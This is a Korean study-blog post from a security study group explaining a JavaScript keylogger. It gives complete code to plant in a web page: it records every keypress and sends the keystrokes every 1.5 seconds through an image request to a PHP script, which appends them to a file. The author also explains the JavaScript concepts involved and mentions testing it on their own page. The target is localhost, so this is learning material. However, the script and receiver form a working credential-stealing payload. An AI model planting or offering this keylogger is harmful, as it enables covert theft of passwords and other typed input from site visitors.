keylogger (JavaScript) 1(기본개념)

황인환·2024년 5월 10일

심어 놓을 코드

      <script>
           var keys='';
           document.onkeypress = function (e){
               get=window.event?event:e;
               key=get.keyCode?get.keyCode:get.charCode;
               key=String.fromCharCode(key);
               keys+=key;
           }
           window.setInterval(function(){
               new Image().src= "http://localhost/T3/keylogger.php?c=" + keys;
               keys='';
           }, 1500);
       </script>

keylogger.php

<?php
$str = isset($_GET['c'])?$_GET['c'] : false;
if($str){
    $ff = fopen('data.txt','a+');
    fputs($ff,$str);
    fclose($ff);
}
?>

알아야하는 기본 개념

1. 삼항연산자

  • key=get.keyCode?get.keyCode:get.charCode;이 값에서는 get.keyCode가 참이면 key값에 할당되고 아니면 get.charCode가 key값에 할당된다.
  • (condition) ? expression1 : expression2
    condition: 평가될 조건 이 조건은 true나 false로 평가됨
    expression1: 조건이 true일 때 반환될 값 또는 표현식
    expression2: 조건이 false일 때 반환될 값 또는 표현식
ex)
var age = 20;
var status = (age >= 18) ? "성인" : "미성년자";
console.log(status); // 출력: "성인"

2. 유니코드

  • 전 세계 모든 문자를 컴퓨터에서 표현하고 다룰 수 있도록 설계된 표준화된 시스템이고 각각 문자에 특정한 숫자코드를 할당하여 저장한 것이다.
    -> ex) 알파벳 A -> U+0041 한글 가 -> U+AC00

  • 위에 코드에서 유니코드로 변환하는 이유는 특정 키를 입력할때 웹브라우저에 따라 keyCode와 charCode를 다르게 제공해서 유니코드로 변환해 일관된 문자 집합으로 작업할 수 있게한다.

3.keyCode와 charCode

  • 두개다 키에 대한 정보를 나타내지만 표현하는게 다름
    +keyCode는 키보드의 물리적인 위치에 따라 키를 식별하는데 사용
    +charCode는 입력된 실제문자를 식별하는데 사용
    +ex) 키보드의 물리적인 위치에 따라 식별
    -> 영어키보드 A, Shift 키등에 각각 코드가 할당되어 있음
    입력된 실제 문자를 식별
    -> 키보드에서 A를 누르면 실제 입력값은 A이고 이것은 유니코드로 U+0041이고 이값을 제공하는 것이다.

4. Image객체

  • Image.src는 이미지 정보를 가져올때 url에 있는 것으로 가져옴
    +즉, url에 있는 주소로 요청을 보내고 이미지 정보를 받아옴
  • 여기에서 정보를 보낼때 get방식으로 같이 정보를 보내면 get에 정보를 담아 보낼 수 있음
    +그래서 newImage()= URL+keys가 있음
  • 그래서 공격자는 $_GET 으로 받을 수 있는 거임

내가 몰랐던것들

1. js 코드를 어떻게 해야 할지 몰랐다

-> input을 입력 받는 사이트에 심어 놓는 것이였다.
-> How to know 실제로 쓰이는 사례를 찾아보니 가짜 사이트를 만들어서 입력값을 받는 다는 것을 알고 내가 만든 웹페이지에 심어 보았다.

2. Uncaught ReferenceError: lmage is not defined

-> 말그대로 lmage라는 변수를 못찾은 것이다.
-> 나는 처음에 Image라고 대문자를 썻지만 vscode가 파란색 밑줄로 에러가 계속 나서 소문자로 바꿔적었다. 빨간 줄은 없어졌다.
-> css를 사용할때 소문자로 적어도 문제 없어서 상관없는 줄 알았지만 객체는 대문자를 쓴다.

-Normaltic Study 6기 4주차 3일-

0개의 댓글